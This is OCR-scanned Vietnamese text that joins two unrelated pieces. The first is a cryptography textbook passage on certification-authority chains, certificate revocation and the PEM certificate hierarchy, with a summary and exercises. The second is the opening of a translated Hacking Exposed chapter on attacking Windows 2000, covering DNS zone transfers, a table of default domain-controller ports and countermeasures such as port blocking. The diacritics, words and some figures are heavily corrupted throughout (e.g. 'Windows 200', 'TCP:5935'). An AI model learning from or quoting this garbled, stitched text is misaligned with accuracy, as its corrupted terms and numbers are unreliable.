chtrc quoc té): Khi nhém A biét mot khoa chung trude cta chinh phi
Anh, nhém nay c6 thé xac nhan la no nhu la mot ban sao chep tin cay
khoé chung cta chinh pht qudc té.

Cert-Int-US (Gidy ching thuc theo tiéu chuin qudc té cho khod
chung cua chinh phu MY¥): Su dung khoa chung nay tu cac chung
nhan truoc, nhom A co thé xéc nhan la no co mot ban sao chep tin cay
khoa chung cua chinh phu My.

Cert-US-C (Chung nhan cua chinh phu My cho cac nhom C): Su dung
khoa chung tur chirng nhan truoc, nhom A xac thuc no co mot ban sao
chep tin cay cua khoa chung nhom C.

Vé1 mét co cau nhu vay, phai chu y rang viéc kiém tra mot chudi
chung nhan khmng chi 1a van dé kiém tra cac chit ky mot cach may moc ma
con la viéc kiém tra nhan dang cta gidy chimg thuc dam bao ring ching
duoc tin cay cho muc dich hién hanh. Vi du, co thﬁ‘: khong co gi ngan can
viéc hinh thanh mdt chudi xac thuc trong do glay chimg thuc qudc té s&
chung nhan khoa chung cua gidy ching thuc quoc gia cia nuoc thé g101 thu
ba va gidy chimg thuc sau chu*ng nhan khoa chung cua Tn:}ng thnng M.
Trong khi tit ca céc chit ky cé thé kiém tra chinh xac, s& rit ngé ngan cho

mot a1 do ¢ nuoc Anh tin vao chum nay mot cach mu quang.

Mot diém rat quan frong khac can phal chu v vé co cau na'y' la su phé phan ve tinh
an toan xung quanh cac giay chung thue 6 mure do cao. Vi du, gia su mot ke xam nhap
pha huy an mnh cua giay ching thue My, Xét vé khia canh nao do thi ke xam nhap nay co
the gia mao glﬂ}f c]nmg thue tu cap o tham qu},ren do (vi duy, ké xam nhap biét duoc khoa
riéng cua cap co tham quyen do). Pieu nay sé lam cho ké xam nhap co the:

e Gia mao cac chit ky ky thuat sO tir bat ky nguoi nao & nude M§ va tao ra chudi
chimg thue ma sé thuyét phuc duoc bat ky nguoi nao trén the gidi rang cac chit ky
do la hop phap; va



e Gia mao cac chit ky ki thuat so tir bat ky mét nguoi nao 6 bén ngc:-::u nudoc My
va tao ra chudi chimg thuc ma sé& thuyét phuc duoc bat ky nguoi nao & nudec My
rang cac chit ky do la hop phap.

Pbi véi giay chimg thuc qubc té rai ro thim chi cé thé cao hon. Néu ching
ta pha hong toan hé thong. Mot ké xdm nhip & muic dd nay cé thé gia mao
céc chit ky k¥ thuat so tir bat ky mot nguoi nao trén thé gidi va thuyét phuc
nhitng ngudi khac rang nhitg chit ky nay 1a hop phap.

Rui ro nay s€ duoc giam bot do1 chut bot viee cam nhiing chudi xac thuc
khong can thiét. Vi du, chung ta cé thé yeu cau rang nhitng chuoi xac thuc
l1én quan td1 cac cdp cua cac hé thcmg cudl1 trong mién cua Chinh quyén M§
khong dwoc md rong ra ngoai tham quyén, nghia la khi D xac thuc khoa
chung cua C, chudi chung thuc don Cert-US-C duoc chap thuin nhung
chudi xac thuc ba (khong can thlet) cua Cert-US-Int, Cert-Int-US, Cert-US-
C' khong duoc chap thuan. It nhat diéu nay c6 nghfa 1a truyén thong trong
nuoc My khong thé bi pha héng b&i mdt cudc xdm nhip vao gidy chimg
thuec quoc te.

Poi vdi nhitng mo1 truong co do rui ro cao, dang chung thuc can phai
duoc mo rong bao g{:}m hai chit ky duoc hinh thanh mot cach doc 1ap bai cac
CO quan cua cac cap chufng thuc cé tham quven rieng biét, st dung cac thiét
b1 ma hoa riéng biét cu thé & nhitng no1 riéng biét. Piéu nay s€ lam giam
dang ké nhitg diém yéu dbi véi mdt cude xAm nhip vao hé thong cla cac
cap chimg thuc cé tham quyén, cé thé ching minh su nghiém trong do su
bao vé cua tat ca nhitng nguoi st dung giay chimg thuc dé bi pha hoai.

Su hinh thanh khoa doi

Chung ta hdy xem xet viéc hinh thanh mot cap khoa ca nhan/chung va cac
phuong tién dam bao viéc g an toan cua:

(a) khoa riéng téi hé thong sé hitu clia nd; va
(b)khoa chung td1 cap chung thuc co tham quyén

pé giam bot nhing diem yeu qua trinh hinh thanh khoa tu::rt nhat duoc tién hanh
tmng hé thong s hitu va trong hé thong chimg thue ¢6 tham quyen, do do chi do1 hor
truyén mot khoa bao vé. Viéc hinh thanh khoa do1 trong hé thong so hiru la don gian
nhat, béi vi mot day 11113!&11 khoa chung to1 he tlmng Xac thue co tham quyen chi do1 hoi
sut bao vé toan bo (khc-ng can bao v¢ tin cay). Su sap XEp nay cung la cach tot nhat cho
su an toan bai vi no co the xay dung mot thiet bi chong trom ma co theé tao ra cap khoa
rieng va sau do su dung mot cap khoa ca nhan.

Néu cac cap khoa duoc tao ra trong he thong xac thuc co tham quyen, viéc truyéen
khoa ca nhan to1 hé thong so hitu s€ doi hoi ca bao vé toan bo va bao vé tin cay. Trong ca



ha1 tnrcmg hop, néu yeu cau khoa Iwru trit thi cac ban sao tin cay ctia hai khoa nay sé can
dugc guu tor mot he thong luu trit (GD thé ciing cuing vi tri voi hé thong xac thue ¢o tham
quyen), va cac phuong phap bao vé cho nhing trao doi nay s& doi hoi viéc xem xét can
than.

Su thu héi gidy chirng nhan

Cé nhiéu Iy do khéc nhau cho su can thiét phai thu hoi trude nhitng gidy
chimg nhén da phat hanh. M6t Iy do 1a khoa can phai duoc thu hoi (vi céac Iy
do nhu d3 nhan dang & Phan 4.5). Tuy nhién cé vai 1y do khéc cho viée thu
hoi cac giay chimg nhin. Vi du, néu c¢6 mét su thay doi trong moi quan hé
gitta mot ngudi sé hitu khoa chung va moét cap xac thuc cé tham quyeén (vi
du, nguoi sé hitu khong lam viéc cho mét to chirc phat hanh gidy chung
nhan nta), thi can phéi thu hoi lai giay ching nhan mic du béan than khoa
chua b thu hoi (ngudi sé hitu c6 the mang theo khoa to1 no1 lam viéc mon va
cé gidy chimng nhan mdi & do6). Do do, van dé chung d61 véi cac hé thong
khoa chung la s thu hoi gidy phép hon la su thu hoi khoa.

Su thu hm gidy chung nhén 1a rat quan trong va no co anh hudng to
viéc thuc hién tat ca cac khoa chung. Vi du, gia st mot cap x4c thuc ¢6 tham
quyén phat hanh mot gidy chimg nhan cho ngudi st dung U, xé4c nhan mét
gia tr1 khoa chung va dua ra mot khoang thoi gian co gia tr1 la 6 thang. Giay
ching nhan nay duoc cap mién phi thong qua mot cong dong nhitng ngudi
st dung mién phi va duoc lvu & nhitng hé théng khac nhau
Sau do, nguo1 su dung U nghi ngo khoa rieng cua minh b1 pha hong va yeu
cau khoa chung tuong ung cling phai duoc thu hoi. Van dé la khr::ng a1 co
thé chic chin rang a1 can duoc thong bao vé su thu hoi. C6 thé s& cd mot so
nguol s dung khong nghi ngo la nguol nhan dang cac tin nhin duoc ky la
dén tir ngudi U trong khi cac tin nhin nay lai that su dén tir mot ké xAm nhép
trong viéc s& hitu mot khoa bi pha héng lau dai. Do d6, nhiém vu kiém tra
nhiing giﬁv chimg nhén c6 thé bi thu hoi can phai ngimg lai véi nhitng nguoi
su dung giay chung nhan.

Su thu hoi gidy ching nhan thuong duoc hoan thanh bang viéc ding
trén danh ba mot danh sach céc gidy chimg nhén bi thu hoi (CRL, con got la
mgt danh sach nong hay mot danh sach den). Mot danh sach thu hoi ban
than no cling la mot giay ching nhan dugc ky bdi cung cap co thim quyén
d3 ky cac gidy chimg nhin gbc. Phu thudc vao ciac nhin té nhu thoi han
ching nhan, gia tr1 cua cac giao dich duoc xu ly, v..v.., mot nguo1 su dung
chung nhan khoa chung can quyét dinh nén hay khr:mng nhan va kiém tra
dqnh sach thu hoi giay chung nhan truoc khi ﬂhap nhan glay chuing nhan
goc.



B&i vi cac khoa xac thuc ¢6 tham quyén cling can duoc thu hoi theo
thot glan mot nguol su’ dung chum xac thuc can phai kiém tra danh sach
thu hoi lién quan tg1 tat ca cac gtay chimg nhéan trong chudi xac thuc (mac
du cac tiéu chuan khac nhau cé thé duoc sit dung cho cac gidy ching nhén
khac nhau trong viéc quyét dinh nén hay khong kiém tra danh sach thu ho)
Cac danh sach thu hoi thich hop luén can phai cé sin cho ngudi st dung cac
gidy chimg nhéan

Phéi can than dé tranh suw can thiép ctia mot ké xdm nhip vdi viéc
phin phat cic danh sach thu héi. Can thiét phii cé6 mot thi tuc ¢d dinh ma
nho do cac danh sach thu hoi ludn duoc cap nhat trén mot co s¢ mang tinh
nguyen tic, mic du khong c6 su thay dm d6i vé6i thong tin thu hoi. Cling nhu
vay, mo1 danh sach thu hdi nén bao gﬂm mot tem tho1 gian. Mot thuc thé
yéu cau mot danh sach thu hoi sau dé c6 thé chac chin 12 s& c6 ca mot danh
sach co gia tr1 (bang viéc kiém tra chit ky gidy ching nhin) va mét danh
sach cap nhat ( bang viéc kiém tra nhin thoi gian).

Truong hop nghién ciru: Cau triic chirng nhdn PEM

Phat trién thu tin c4 nhin trén mang (PEM) la mét su lua chon an toan cho
thu dién to ma st dung hé thﬂng khoa chung cho muc dich xac thuc va phan
phat khoa d6i ximg. PEM bao gom mot ban ké khai chi tiét cta co s& chimg
nhan khoa chung [KENI]. Toan b6 hé thong PEM duoc miéu ta trong
chuwong 13 ciia cubn sach nay. O day, ching ta chi xem xét dang chung ctia
co sO chung nhan cung cap su minh hoa thuc tién c6 gia tr1 cua nhiéu qui tic
da duoc thao luan ¢ trén.

CAu trac theo trat tw nhu di duoc minh hoa ¢ Hinh 4-14. PEM dinh
nghia cac dang ¢ muc do cao va cac qui tic nhat dinh lién quan dén cic mirc
d6 thap. C6 3 dang cta cap xéac thuc c6 tham quyén:

* Co quan dang ky chinh sach mang (IPRA): Co quan nay hoat dong
duoi su bao tro cua to churc mang nhu mot co s¢ cua thur tw xac thuc
cap d6 1. N6 phat hanh cac giay chimg nhan chi cho cac cap tham
quyén tiép theo, PCAs.

e Chinh sdach xdc thuc ¢é6 tham quyén (PCAs): PCAs & mirc d6 hai cia
thu tur xac nhan, moi PCA duoc x4c nhan béi ICRA. Mot PCA phai
thiét 1ap va xuét ban cac ciu lénh cia cac chinh sach cua no nham Xac
nhan nhiing ngu‘m sr dung va cac cap xac thuc co tham quyeén thap
hon. Phan biét cac PCA nhim dap ung nhiing nhu cau khéac nhau cua
ngu’crl st dung. Vi du, mot PCA (mﬂt PCA ‘to chure thuong™) co thé
hd tro nhitng thu dién t& chung cua cac td chire thuwong mai, va mot



PCA khac (mot PCA “dam bao cao”) co thé c6 moét chinh sach chat
ché hon duoc thiét ké dé dap tmg cac yéu cau rang bude chit ky hop
phap.

e (Cdp xdc thuc c6 tham quyén (CAs): CAs & mirc do 3 cla thir tu xac
nhin va cé thé & cac mic d6 thip hon. Nhitng CAs & cap do 3 thi
duoc xidc nhan béi PCAs. CAs dai dién, vi du, cho cac to6 chirc dic
biét, nhiing don v1 duoc td chirc dac biet (vi du cac phan khu, cac
phong ban), hoac cac khu vuc dia ly dac biet

Céu trac 1a modt hinh cay voi chi vai khac biet nho. Mot su khac biét la
mdt CA & mic d6 3 c6 thé dwoc xac nhan bdi nhieu hon mét PCA (vi du,
CA4 o Hinh 4-14). Piéu nay cho phep cac ngit nghia tin cay khac nhau duoc
img dung vao cac chudi xac thuc khac nhau ma cé chira CA.

Ba dang chinh caa chinh sach dwoc nhan dang cho céac cip xac thuc
tham quyén tai miac PCA hay CA:

Level IPRA
i
Level PCA 1 PCA 2 PCA 3
2 ; , . i ; -
LE,;EE CA 1 CA 2 CA 3 CA 4 CA5
USER USER | CAB USER USER USIER USER USER

USER USER

Figure 4-14: PEM Certification Authority Structure

Hinh 4-14: Ciu truc xac thuc thAm quyén PEM

Chu thich: User: nguot su dung CA: Cép xac thuc c6 thAim quven
Level 1: muc 1. PCA: Chinh sach xé4c thuc cé thim quyén.
Level 2: muc 2. IPRA: Co quan dang ky chinh sach mang

Level 3: muec 3.
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Mot to chirc cua cap xac thuc co tham quyén dua ra chung nhan de cac
ca nhan gia nhap vao mot to churc, nhu la doan theé, ho1 dong chinh phu,
hoac vién nghién ctiru glao duc. Su gia nhap co thé co nghia la su lam thue



cho mdt doan thé hodc hdi déng chinh pht, hodc dang 1a sinh vién cta vién
nghién ctru g1ao duc.

M6t cap xac thuc cé tham quyén dia phwong dua ra chimg nhan cho cac
ca nhan trén co ban la cac dia chi dia ly. No duoc hinh dung nhu 1a cac thuc
thé cta chinh phu nhan dan s€ gach vac cac trach nhiém cho su chirng nhan
theo cac khoa hoc nhu vay.

Mot cap xac thuc c6 tham quyén ca nhﬁn la moét trwong hop dac biét,
trong do6 su chirng nhan khmng @01 hoi két noi tén cua ching Chl v6i thue thé
hodc tung ca nhan 1vat Iy cu thé. N6 duoc thiét lap dé cung cip nhitng nguoi
sir dung nao ma mubn dau chi danh cta ho trong khi dwa ra cach st dung
cac dic diém an toan cia REM.

Qua trinh phén loai ching chi cho ring tit cd moi ngudi st dung déu cé
mot ban sao chep khoa chung cua IPRA. Tét ca chudi chung nhan déu bit
dau tai IPRA, sau dé xi 1y thong qua PCA, sau Cas néu can thiét.

IPRA va PCA déu bi yéu céu tao ra danh sach huy bé chimg nhén va lam
ching 1uén ¢é sin. PCA ciing bi yéu cau phai tuyén bd danh sach phét hanh
cac chinh sach cta cap dudi quyén CAs .

Cau truc ching chi cua PEM tao thanh mét truong hop dac biét cho cau
tric phan cap chung d3 duwoc minh hoa trong hinh 4-13, ma né di bo qua
chimng chi duoc dung 1én va xudng ciy phan cip. Trong ché dd PEM, sé
khéng cé cac chimg chi truc tiép & trén. IPRA duoc cin nhic dé tré thanh
su tin cdy toan cau bai tat ca nhitng ngudi st dung ctia tat ca cac cude truyén
thong. Trong khi day la su thoa man trong moi1 truong PEM, no sé€ tao thanh
mot han ché médi lién hé tin cdy ma co thé khong duoc chﬁp nhan trong cac
moi trudng khac.( trong cac vi du qubc té di thao luin trude, né duoc thong
béﬂ ring cac thanh vién cta chinh pht M§ c6 thé hy vong dit niém tin vao
giay chung nhan My hon nhiéu 0 vO1 sur tin tuong cua ho vao gmy chung
nhin quoc té; v1 vay, thu muc goc ludn ludn khong phai la chem tin cay).
Thuan loi cta cau tric PEM 1a doi héi céc chimg chi it hon cau tric thudng
va dua ra cac thu tuc khong phtrc tap cho qua trinh phan loai cac chudi
chirng chi.

Mot dong gop chinh cua thié:t ké PEM la su thiét 1ap cac quy udc thfl tuc
va k¥ thuat chung béi nhitng gidy ching nhin ma duoc trong mong dé ton
tai. Khai niém PCA rat dang chu v vi no cung cap cac cong cu co hé thﬂng
dd1 dau vdi cac kich ban tin cay khac nhau RAt nhiéu kinh nghiém gia tri
trong cac cau truc chung thuc cu thé chic chin sé& bi thu lai tir du 4an PEM
trong sudt nhitng n3m 1990.



Tom tat

Céac cdng nghé mat ma 1a nhitng khoi xay dung quan trong trong su thurc
thi ctia bat ky mdt dich vu an toan nao. Mot hé théong m3 dinh nghia su
truyén dich su mi hoa va su giai mi , ma phu thudc vao cac gia tri caa céc
khoa. Mbt hé thong m3 d6i xtmg s dung mdt khoa cho ca hai su truyén
dich do. Mot hé thé‘:-ng ma khoa chung st dung su phan chia cac khoa cho
moi su tm}fén dich.

Chi duy nhat hé théng m3 dbi xtmg chuan hoa chung 1a tiéu chuan M3
hoa Dit iéu cua MYy (DES), ma da tung duoc st dung rong rai vao nhitng
nam 1970. theo nhitng thuan lo1 cua cong nghe, su ton tal hitu ich cua mot
DES mi hoa don dang dumng lai. Tuy nhién, sit dung nhiéu hé thong ma hoa
DES c¢6 thé cung cap su bao vé cho nhiéu tmg dung trong vai nim toi.

Cac hé thong m3 khoa- chung c6 thé c6 mdt ché d6 m3 hoa va mot ché
do xac thuc. Thuat toan RSA la mot thuat toan nghich dao, vi du., no co thé
thao tac trong ca hai ché do. b6 dai cua RSA phu thudc vao dé phuec tap cua
qua trinh phan tich thanh thira s6 cac san pham thanh hai s6 nguyén t6 1én
Su lwa chon mot ¢& mddun chinh xac ¢é thé tao cho RSA manh tuy tién
Thuat toan ElGamal 1la mot thuat toan khoa- chung thay ﬂéij d0 da1 cua no
phu thudc vao muc do tinh cac loga roi rac.

Cac gia tri kiém thi tinh ven toan hodc cac dau niém phong la nhiing
cdng cu tao ra mot phu luc cho tin nhin di duoc truyén sit dung mot khoa
b1 mat. Nghla la n6 tao khi ning cho ngudi nhin biét cai khoa dé kiém tra
rang nguon va noi dung cta tin nhin dé chinh xac. Trong giao thuc ngan
hang, phu luc duoc biét nhu 1a m3 xac nhan tin nhin, va qua trinh tao phu
luc chung nhat dung thuat toan DES. Mot qua trinh tao phu luc thay d6i ¢é
thé dung mot ham phén cit

Mb6t chit ky dién t& 1a mot dwong lwong dién tir dé phan loai ngudn cla
mdt tin nhin d3 duoc viét dua trén co ban cau chit ky d3 dua.

Mot chit ky k¥ thuit s6 manh hon mdt dau niém phong trong d6 ngudi
nhén khéng c6 kha ning tao ra mt chit ky k§ thudt s6 ma khéng khac biét
so véi chit kv ma nguoi gii d3 tao. Cac chit ky k§ thuit so thuong st dung
cac hé thong m3 khoa — chung, két hop v&i ham phan cit. Tlﬁ:u chuan quoc
té ISO/IEC 9796 dinh nghia mdt thi tuc chit ky k§ thuat s6 dé st dung véi
thuat toan cua RSA. Chinh phu My da dé nghi Tiéu chuan Chit ky K¥§ thuét
s6 st dung mdt tiép can luan phién dua trén thuat toan ElGamal. Su thiét ké




phu hop véi cac ham phan cit kém theo 1a mot tac vu kho, va mot tip hop
d3 han ché céc lua chon dang tin tdn tai.

Ung dung cta tat ca cac cong nghé mat m3 phu thude vao su quan 1y cla
cac khoa mat m3. Tat ca cac khoa déu cé gidi han thoi gian st dung. Vong
tron doi sébng clia mot khoa lién quan dén mét vai pha nhu 1a su phat sinh,
sur phan bo. su hoat dong/ngung hoat dong,su huuy bo va su két thuc.

Su phan bd cac khoa bi mét cé thé duoc hoan thanh st dung cac hé thong
m3 d6i ximg. Cac khoa chinh dwoc phan bd m3 hoa theo khoa ma hoa céc
khoa. Tiéu chuan ANSI X9.17 cho phép ba cap bac ma hod. be giit cac s
cua cac khoa quan ly duoc, cac trung tam phan b khoa truc tuyén hoic cac
trung tam bién dich khoa duoc veu cau. Céac khoa bi mat cau hé théng ma
d61 xtmg c¢6 thé cling duoc phin bé mi hoa theo mot hé thongkhoa- chung
dao nghich nhu la RSA.Céng nghé Diffie- Hellman tao kha ning cho hai
nhom nhin mét khoa bi mat truc tuyén .

Trong qua trinh quan ly khoa cua cac he thong m3 khoa- chung, no rat
quan trong dé phin bd cic khoa chung nhu 1a mét nguoi st dung duoc dim
bao la anh ta s€ co khoa chung chinh xac. Vi vay cac khoa chung duoc phan
bo theo cac dang chimg chi, di ky boi mdt gidy chung thuc dang tin ciy.
Théng thudng, yéu cau nhiéu gidy chimg thuc.Cac gidy chung thuc co thé
ching nhan cac khoa chung 13n nhau dé chimg nhan cac chudi dang két nbi
cac nhom dang ky va dang phan loai. Tiép cin nay cé thé duoc mé rong
cho pham vi toan cau, véi mot ciy phan cap cac giay ching thuc. du an Thu
dién t& tro giup su bi miat mang (PEM) cung cap mét truomg hop gia tri
nghién ctru su xay dung ctia nhilng ciy phan cap giay chung nhan nhu vay.

Bai tip

1. Miéu ti nhitng khac nhau co ban gitta hé thong mat m3 dbi xtmg va hé
thong mat m3 khoa chung. Cac hé théng mat ma ddi ximg duoc sit dung
phu hop nhit cho nhitmg muc dich nao? Cac hé thong mat m3 khoa chung
duoc st dung phu hop nhat cho nhitng mu dich nao?

2. Pé cung cap mét dich vu dit liéu toan bd, cac phuong thirc tréi bude va
phan ho1 cua DES co theé gop phan bao vé chdng lai viéc xem la1 hay viec
dat mua la1 cac muc di lieu nhu theé nao?

3 Mot ham phan cit déng vai tro gi trong cong nghé déng dau va chit ky
s0? Nhitng dac diém thiét yéu cua ham nay.



4. Miéu ta ngan gon cac vai tro ma k¥ thuat mat ma cua ma hoa/giar ma,
dong dau, chir ky s0 dong trong viéc cung cap cac dich vu an toan sau
day

(a) Tinh tin cay;

(b) Tinh ven toan dit hiéu:;

(¢) Xac thuc nguodn goc dit liéu;

(d)Kiém soét truy cap; va

(¢) Su cdng nhan céc bing chimg vé ngudn gdc.

5. Céc su kién chinh c6 thé xay ra trong sudt vong doi cia khod va dic thu
cua chung trong truong hop:
(a) mot khoa dugc su dung cho viét lai mat ma; va
(b) mot khoa duoc su dung cho chit ky )

6. Su khac nhau co ban gifta quan 1y cac khoa ctia cac hé thong mat mi doi ximg va
quan ly cac khoa cua hé thong mat ma khoa chung?

7. Nguoi B muodn st dung mét khoa chung ctia ngudi A dé kiém tra chit ky
tin nhin tir nguoi A. Xac thuc c¢6 tham quyén duy nhat ma nguoi B tin 13
7. Khéa chung ctia nguoi A do cap cé tham quyén X cong nhin. Xac
thue ¢6 thim quyén Y chuédn bi ching nhén kho4 chung cta X, va Z cé
thé ching nhin khoa chung cia Y. Nguoi B s& can chimg nhin gi?
Nguoi B nén thue hién su kiém tra nao ddi véi nhitng gidy chimg nhén
nay?

8. Voi trm:mg hop twong tu nhuw & cdu 7 néu mot ké xam nhéap E biét duoc
khoa ca nhan cua chu’ng nhan cé tham QUVE:II Y va muon lam gla chir ky
clia ngudi A trén tin nhan g cho nguoi B, thi E s& phai tao chudi chimg
nhan gi dé di kém vdi chit ky gid mao?

9. Gia st ngudi A muodn giri mot tép tin tin ciy 16n téi nhidu ngudi- nguoi
B,C va D- tat ca nhitng ngudi nay déu cé khoa déi RSA. Tép tin s& duoc
otri di duoc m3 hoa dé khong nguoi nao ngoai A,B,C hay D c¢é thé biét
duoc nd1 dung cia né bing cach kiém soat viéc truyén tin. Thay vi gui
nhiing tin nhin riéng biet cho tung nguol B,C hay D, A muodn tao ra chi
mot tin nhin bao gdm mot phién ban dugc ma hoa cua nd1 dung tép tin.
Diéu nay duoc thuc hién nhu thé nao?
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CHUONG 6
Dot nhap Windows 2000

Mua thu nam 1999, Microsoft da tung ra mét loat may chu B Windows2000
trén mang trong miém Windows2000test.com. Cac may chu c6 mdt 161 moi rat
an tuong: Hay tan cong to1 néu ban c6 thé.

Mot vai tuan sau do, cac may chu da bi thu lai, b1 hu hat néng né do tur
chéi nhitng dot tan cong dich vu, nhung khong b hu hai ¢ cap d6 OS. (Ké tan
cong da pha hong bang ng dung GuestBook dua trén Web chay trém cac may
chu cua trudge.) Cac thu ngh1em khac cling thu duoc két qua tu*mlg tur, gﬁm cO
ca Openhack Challenge cua eWeek.

C6 nhiéu hinh thire kiém tra khéac nhau, va chiing ta khcrng tranh luan la
két qua s€ nhw thé nao giita an ninh NT2000 va cac san pham canh tranh. Diéu
r0 rang sau nhitng the nghiém nay do la nhiing may ¢hi Windows 200 dwoc
dinh ciu hinh khéo l€o thi rat kho co thé pha & cap 4o he diéu hanh nhu bat kv
mot nén may chu nao khac, va rang cach xam nhﬁp J& dang nhét vao mot may
chu la thong qua tang tng dung, hoan toan be, qua cac bién phap bao mat cap
d6 Hé diéu hanh.

Su chung mmh thuc tién nay cna bﬂﬂ mat Windows 2000 dwoc tang
cudng bang nhiéu tinh nang bao matimo1 ca1 dat trong He diéu hanh: thuc
hién mét [P Scourity goe (IPSge); He thnng file ma hoa (EFS): cau hinh bao
mat dya trén chinh sach ba:ng Gmup Pnlm}' cac khuén mau bao mat; cac cong
cu Phan tich va dinh cau hinh'bae'mét; kiém soat su truy nhép tir xa bang dich
vu Remote Authentication Dial-In Service (RADIUS); va xac dinh gia tr1 dua
trén Kerberos...Su phu ﬂmt}c qua nhiéu vao cac tidu chuan da duoc kiém tra
va mat ma dwoc thé lnen 10 trong doi hinh nay, mot loat su b6 xung tao bao da
bao hiéu mot su tha}r dﬁl to lon trong hwong tiép can von duoe coi 1a dde doan
ctia Microsoft do1 voi van dé Bao mat Windows.

Trong Chuong nay ching ta s&€ nghién cuu nhitng van dé an ninh quan
trong homytrong Windows 2000 cho to1 tho diém nay tr goc do Phu‘n‘ng phap
tan cong@Chihian ma ching ta da dé cap trong phan trwdoe: n dau vét, _quet, dém,
x4m nhép, phi nhéan dich vu (néu cin), ting cao dac quyén, danh cap, lap ranh
ghi, va cai dat ctra sau. Ching ta s& tim tim hiéu khai quat 3 giai doan dau cua
mét cude tin cong tiéu chuan trong chuwong nay do chirc nang m dau vét, quet
va dém ciia Windows 2000 da duwoc dé cap lan lwot trong Chuong 1,2 va 3.

T1ep theo, chiing ta s& chi trong dén mét s cdéng cu dinh cau hinh bao
mat méi c6 trong Windows 2000. Tinh ning méi nay sé ho tro cac quan tri
vién khic phuc nhitng diém yéu ma chung ta s& thao luan.

Chu y:V&i nhitng ai thue sy quan tAm sdu sac dén thong tin vé cau truc bao
mat cua Windows 2000 tir goc do cua ke tan cong, nhirng tinh nang moi, va su



phan tich chi tiét hon vé nhitng diém }fé}l bao mat cua Windows 2000 va cach
khéc phuc — bao gom co6 nhiing san pham IIS, SQL va TermServ mo1 nhat —
hay lay moét cuon Hacking Exposed Windows 2000 (Osborne/McGraw-Hill,
2001).

INDAU VET h

Nhu ta da tim hiéu trong Chuong 1, hiu hét nhitng ké tin cong déu khéi dau
bing cach ¢ gang khai thac dwoc cang nhiéu thong tin cang tot ma chua can
thuc su dong dén may chu muc tieu. Ngu{:}n thong tin dé lai dau tich chinh la
Domain Name System (DNS), day la mot giao thuc tieu chuan mang Internet
nhim khép dia chi IP méay chd véi nhitng tén dé nhé nhu
www.hackingexposed.com

® Nhirng chuyén giao ving DNS

Tinh phé thong 5
Tinh don gian
9
Tinh hiéu qua
2
Mare dé rui ro

5

Do dau cach Windows 2000 Active Directory dua trén DNS, Microsoft
vira mdi nang cap xong tinh nang thuc th1 may chu DNS cua Windows 200
nhim dap ung nhitng nhu cau clia AD va nguoc lai. Do vy day la mot ngudn
thong tin dau tich tuy€t voi, qua khong sai, no méc dinh cung cap nhiing

chuven dm vung cho bat ky mot may chu tu xa nao. Xem Chuong 3 dé biét
thém chi tiét.

@ Vo hiéu héa ciac chuyén doi viung
That may man, tinh nang thuc th1 DNS trong Windows 2000 cling cho phep
han ché chuyén do1 vung, cling da dé cap trong Chuong 3.

QUET
Windows 2000 nghe trén ma tran cua cac cOng, rat nhi€u trong s6 do ra doi
sau NT4. Bang 6-1 liet ke nhiing cong duoc lwa chon nghe trén mot bang diéu

khlen vung (DC) mic dinh cia Windows 2000. Mbi dich vu nay la mét diém
t6t dé xAm nhap vao hé thong.



Cfing Dich vu

TR 2 SMTP

TGP 21 FTP

TCP/UDP 53 DNS

TCP 80 WWW

TCP/UDP 88 Kerberos

TCP 135 RPC/DCE Endpoint mapper
UDP 137 NetBIOS Name Service
UDP138 NetBIOS Datagram Service
TGP 139 NetBIOS Session Service
TCP/UDP 389 LDAP

TCP 443 HTTP over SSL/TLS

TCP/UDP 445 Microsoft SMB/CIFS
TCP/UDP 464 Kerberos kpasswd

UDP 500 Internet Key Exchange, IKE (IPSec)
TCP:5935 HTTP RPC Endpoint mapper
TCP 636 LDAP over SSL/TLS

TCP 3268 AD Global Catalog

TCP 3269 AD Global Catalog over SSL
TCP 3389 Windows Terminal Server
Bang 6-1: Cac cong nghe duoc lwa chon trén méot Bang diéu khién
vung cua Windows 2000 (Cai dat mac dinh)

LOI KHUYEN Mot danh sach O cua cé‘:-ng TCP va UDP ma cﬁp dich vu Microsoft
st dung co trén Bo ta1 nguyéen Windows 2000 (Resource Kit). Tim kiém tai1 dia chi http://
www.microsoft.com/Windows2000/techinfo/reskit/samplechapters/default.asp.

® nhirng bien phap doi pho: Vo hieu hoa cac dich vu va khoa cac cong
Cach tot nhat dé chin dimg cuoc tan cong dudl moi hinh thirc do la khoa
duong tiép can nhing dich vu nay, & cap dd mang hodc may chu.

Cac cong cu kiém soat dll’i}']:'lg truy nhap mang ngoail vi (nhu’ng chu‘,fen
doi, cau dan, firewall, ..v.v) can phai duoc dinh cau hinh nhim tir chéi moi nd
luc két nd1 vdi tat ca cac cong duoc liét ké & day von khong thé tit. (Thong
thuong, phuong phap dien hinh 1a tir chdi moi giao thirc t6i cac méay chi va
sau do kich hoat co chon loc nhimg dich vu ma may chu yéu cau.) Pic biét,
trén mot bang diéu khién ving, khong co cong nao la e thé truy nhap bén
ngoai ngoai vi mang, va chi cé mot sb rat it 1a ¢6 thé tiép cin mang cip dudi
no1 bo dang tin cdy. Sau day la hai li do:

V Trong Chuong 3, chung ta d3 biét cach nhitng ngudi st dung két noi véi
LDAP (TCP 389) va cic cong Global Catalog va dém dit liéu may chu.

A NetBIOS Session Service, céﬂg TCP 139 cling da duoc gio1 thiéu trong
Chuong 3 la mot trong nhitng nguon do gi thong tin lon nhat va su pha hong



tiém tang trén NT. Hau hét cac san pham chung tdi gidi thiéu trong Chuong 5
hoat dong duy nhat trén cac két nd1 NetBIOS. Dt lieu Windows 2000 ciing co
thé duoc dém theo cach tuong tu trén TCP 445.

Chu y: Ban ciing can phéi doc phan “Vd hiéu hoa NetBIOS/SMB trén
Windows 20007, & cuo1 Chuong nay.

Bao vé cac cong nghe trén chinh cac may chi doc ca nhan ciing la mot
bién phap tot. Bao vé kién cd s& lam cho cac budc tan cong sé kho khin thém
nhiéu. Mot 1o1 khuyeén bay lau vé khia canh nay dé la déng tat ca cac dich vu
khong can th1et bang cach chay services.com va v6 hiéu hoa cac dich vu
khong can thiét. Can dic biét cinh giac vl cac bang diéu khién ving
Windows 2000. Néu nhue mot May cht hodc mot May chu cao cap duoc ting
cap thanh bang diéu khién s dung dcpromo.exe, tiép do Active Directory,
DNS, va mot may chu DHCP duoc cai dat, mo ra cac cbng phu. DC chinh 1a
cac thiét bi quan trong nhit cla mang va duoc trién khai mot céach tron loc. St
dung mot bang diéu khién lam nén cho cac ung dung va file, cac dich vu
printer. Su to1 thiéu hc:-a luon la nguyen tac bao mat dau tién.

Nhim han ché tlep can cac cong ve phan may chu, ché dd du phong co
dién, TCP/IP Filters van xuat hién trong Network va Dial-up connections |
Properties of the appropriate connection | Internet Protocol (TCP/IP)
Properties | Advanced | Optmns tab | TCP | IP filtering properties. Tuy
